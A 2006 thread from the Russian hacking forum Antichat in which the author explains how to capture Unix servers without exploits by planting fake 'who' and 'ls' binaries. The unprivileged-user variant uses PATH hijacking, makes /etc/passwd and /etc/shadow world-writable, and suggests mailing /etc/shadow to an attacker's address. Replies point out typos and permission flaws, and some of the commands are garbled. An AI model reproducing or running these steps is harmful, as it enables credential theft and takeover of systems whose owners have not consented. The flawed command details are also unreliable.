Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Захват никсов без сплойтов (https://forum.antichat.xyz/showthread.php?t=20916)

blackybr 25.06.2006 19:43

Захват никсов без сплойтов
 
Re Achat ;)

Бывает особо параноидальные админы удаляют с серваков компиляторы. Пытаемся установить гцц из рмп пакета... ааах облом он не работает -) Скомпиленные на других машинках сплоиты явно отказываются работать, ругаясь на сегоднящний дождь/жару и просто плохое настроение.. Что делать? вот и задумался.. пока не натолкнулся на одном из форумов на интерестную идейку, которая в принципе известна, но вот решил расписать ее поподробней.. Его может юзать как админ так и ты, c00l m3g4 h4x0r =) Итак приступим.

Если брать в расчет админа, то ему провернуть все это намного легче, т.к. он уже "по условию задачи" обладает рутом ) Что проделываем хакер, проникая в систему? чаще всего юзает команды типа ls, last, who, id, which, uname и т.д. И основная задача админа в случае проникновения взломщика установить своеобразные ловушки на эти команды. Постойте, у нас же нет компилятора? Зато у нас есть руки =) Все можно проделать с помощью перля, питона или просто средстави нашых никсов. Возьмём к примеру who. Определим где она у нас находится следущим образом:
Код:

which who
В ответ получаем что-то вроде /usr/bin/who
Права на неё равны –rwxr-xr-x, что сопостовимо с 755. Переименовываем who например в who_new. Делаем это следующим образом:
Код:

mv /usr/bin/who /usr/bin/who_new
Изменяем права на who_new на 755, чтобы он мог выполняться:
Код:

сhmod 755 /usr/bin/who_new
Теперь чтобы выполнить who надо выполнить в консоли who_new (Главное не забудьте вернуть скопированному файлу права, а то ничего не будет работать). Теперь создаем некий клапан для who. Это будет одноименный файл в /usr/bin. Т.е. когда взломщик попытается выполнить who, то будет запускаться наш с вами файл. Для того чтобы записать в новый who нужные нам команды выполним последовательно
Код:

сat /usr/bin/who
/usr/bin/who_new
id | mail –n –s Your Base_Is_Under_Attack your@mail

Жмём CTRL+D и ввод закончен, все записалось в /usr/bin/who
Первая и вторая строчка надеюсь понятна, третья же отправляет тебе на почту то, что выдала команда id с заголовком Your Base_Is_Under_Attack -) Ключ -n передает заголовок письма, -s запретит просмотр /etc/mail.rc, чтобы хацкер ничего не заподозрил.
Этим способом можно подменить любую исполняемую программу, главное запомнить что и как менял , а лучше записать на бумажке -))

----------------------------------------

Да, все отлично - скажите вы.. А как быть, если права у тебя не root, а жалкие nobody или обычного юзера?
Работа с исполняемыми файлами в основном в таком случае запрещена. Но у нас есть еще один инструмент в арсенале - переменная окружения PATH Поэксперементируем с ls
Допустим у нас есть права на запись в /tmp. Тогда создадим следущий файл под названием ls.
Запишем в него следущие строчки:
Код:

#! /bin/sh       
сhmod 777 /etc/passwd > /dev/null
сhmod 777 /etc/shadow > /dev/null
ехес  /bin/ls “$@"

Разберем, что же мы накатали. Во второй и третьей строчке содержатся команды изменения прав на файл юзеров и паролей + обнуление всех месаг, которые могут появиться на экране. В 4ой выполняется команда ls из /bin. Так как мы создали этот файл, то мы можем поставить любые права на него, ставим 777
Код:

сhmod 777 /tmp/ls
Наш файл готов. Осалось сделать так, чтобы он выполнялся вместо реальной ls. Ничего нет проще =) Для этого просто добавляем каталог /tmp в самое(!) начало системной переменной окружения PATH. Для этого всеголишь подправляем файлик .bash_profile, в строчке PATH=$PATH:/sbin:/usr/sbin/:/usr/local/sbin добавляем наш каталог.
Итак теперь если у пользователя хватит прав на изменение прав (скорее всего у рута), то /etc/shadow и /etc/passwd откроются для всеобщего обозрения -)
Можно вставить в нашу фэйковую ls что-то вроде cat /etc/shadow | mail your@mail (просто отсылает зашифровынные пароли на мыло). Вобщем тут можно делать все что хочешь)
Единственное что может делать админ в этом случае - проверять переменную PATH, убрать ставящиеся по дефолту права,либо задавать полный путь до исполняемого фала, т.е. для просмотра содержимого каталога вводить каждый раз /bin/ls -lia.. Даже законченный параноик не будет этого делать...
В статье мы научились захватывать сервак без использования палевных сплойтов, рушивших систему или просто не работающих =)

Special For Achat
(c) blackybr

PS т.к. многим личностям оказалось непонятно, то поясняю.. для превого случаю нужен РУТ (т.к. по условию вы админ!) ДЛя второго нужен просто юзэр доступ!

Dracula4ever 25.06.2006 19:47

Молодец!!!

Мне понравилась твоя статья

bl4ck-cat 25.06.2006 20:06

Накатал аж на + :)
Статья хорошая

hidden 25.06.2006 20:18

Хорошая статья!

bul.666 25.06.2006 20:19

Статья в норме, но можно и получше...

nerezus 25.06.2006 20:31

Цитата:

mw /usr/bin/who /usr/bin/who_new
кто найдет 2 ошибки в этой строке - тому +4 )

Dracula4ever 25.06.2006 20:37

/usr/bin/who
/usr/bin/who_new

bl4ck-cat 25.06.2006 20:45

нашел пока 1
mv вместо mw
=)

Go0o$E 25.06.2006 20:58

Вроде правильно так: mv usr/bin/who usr/bin/who_new

hidden 25.06.2006 21:02

Я думаю, нерезус имел в виду, что во втором коде используется не /usr/bin/who_new, а /usr/bin/system_who, ну и конечто как уже сказал bl4ck-cat mv, а не mw, но ведь никто от ошибок не застрахован.

c411k 25.06.2006 21:13

1. mw - mv
2. mv /usr/bin/who /usr/bin/who_new просто переименует файл /usr/bin/who на /usr/bin/who_new.. т.е правильней было бы cp /usr/bin/who /usr/bin/who_new.

limpompo 25.06.2006 21:13

mv /usr/bin/who /usr/bin/who_lol

nerezus 25.06.2006 21:28

Для всего описанного в статье нужны права рута.

nerezus 25.06.2006 21:30

3 ошибки оказалось )

bl4ck-cat 25.06.2006 22:44

nerezus
хм... а файл .bash_profile разве нельзя подредактировать без рута?

blackybr 26.06.2006 08:06

Рут нужен только для первго случая, а для изменения переменной path нужен гостевой дочтуп (иногда и нободи сойдёт) . Проверено и не один раз

blackybr 26.06.2006 08:07

с411k а нам и нужно ПРОСТО переименовать его

Цитата:

...Переименовываем who например в who_new...

nerezus 26.06.2006 17:44

Цитата:

а для изменения переменной path нужен гостевой дочтуп
ты ее изменишь себе.

limpompo 26.06.2006 18:04

Гы для того что-бы переименовать who нужны права РУТА!

nerezus 26.06.2006 18:36

Угу, я это второй ошибкой и назвал.

Tem 26.06.2006 19:31

Если нужна права рута то значить статья некудышная ?

nerezus 26.06.2006 19:44

То значит в ней нет смысла.

bl4ck-cat 26.06.2006 19:48

права рут нужны только для 1 случая с who

blackybr 26.06.2006 20:20

Вы читать умеете? РУТ нужен для ПЕРАОГО случая. Для воторого нужен обычный ЮЗЕР.

Tem 26.06.2006 20:54

Если у меня будет рут доступ мне и так будет хватать )

nerezus 26.06.2006 21:02

Цитата:

Для воторого нужен обычный ЮЗЕР.
для какого?

blackybr 26.06.2006 21:04

2Tem первый спосбо для защиты сервера. Второй для взлома.
Спец для nezerus разделил способы с помощью "-------"

nerezus 27.06.2006 09:32

Цитата:

Для этого всеголишь подправляем файлик .bash_profile, в строчке PATH=$PATH:/sbin:/usr/sbin/:/usr/local/sbin добавляем наш каталог.
вот на это прав не хаватит, чтобы файлик подправить.

blackybr 27.06.2006 10:13

nerezus сначала попрбуй потом говори.. у меня почему-то всегда хватало

nerezus 27.06.2006 10:36

Ну ты меня учить будешь?

nerezus ~ $ ls -la /root/.bash_profile
ls: /root/.bash_profile: Permission denied
nerezus ~ $ ls -la /etc/bash.bashrc
-rw-r--r-- 1 root root 1546 2006-06-06 14:45 /etc/bash.bashrc

nerezus 27.06.2006 10:44

Или даже немного подумай: предположим ты админ сервера, тебе не кажется, что разрешать изменять файл - это глупость? ))

blackybr 27.06.2006 10:45

по дефолту он всегда разрешен на запись

limpompo 27.06.2006 10:49

blackybr - заблуждаешься... Вчера тоже тестил на 10 серваках.... как я и ожидал послали меня в Пермисион =) так что Статья некудышная!

blackybr 27.06.2006 10:55

2limpompo тестил на 3х серваках =) естесно не на своих... у меня все работало
зачем мне откровенный бред писать

limpompo 27.06.2006 11:00

Анука видео сними... а то не верится....

Nova 27.06.2006 11:04

Ага мне тоже не вериться что запись присутсвует !
если админ нормальный то у тебя прав даже на ту деректорию не хватит чтоб посмотреть что там.

2Автор как уже выше сказал лимп сними видео а мы посмотрим.

limpompo 27.06.2006 11:10

ДА ещё поправка... если можно то на 2-3 серваках.... проделай это....

blackybr 27.06.2006 11:11

[br@+++]$ cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin
BASH_ENV=$HOME/.bashrc
USERNAME="***"

export USERNAME BASH_ENV PATH

вот тот юзер который под звездами прописан и может выполнять все это.. на 8ом рэдхэте и фк4 у меня там по дефолту гест
Упирается все естественно в непутевость админа, не изменившего доступ

Nova 27.06.2006 11:14

Видео всё равно сними !

blackybr 27.06.2006 11:15

никогда видео не снимал.. если получится то будет вам видео :)


Время: 17:11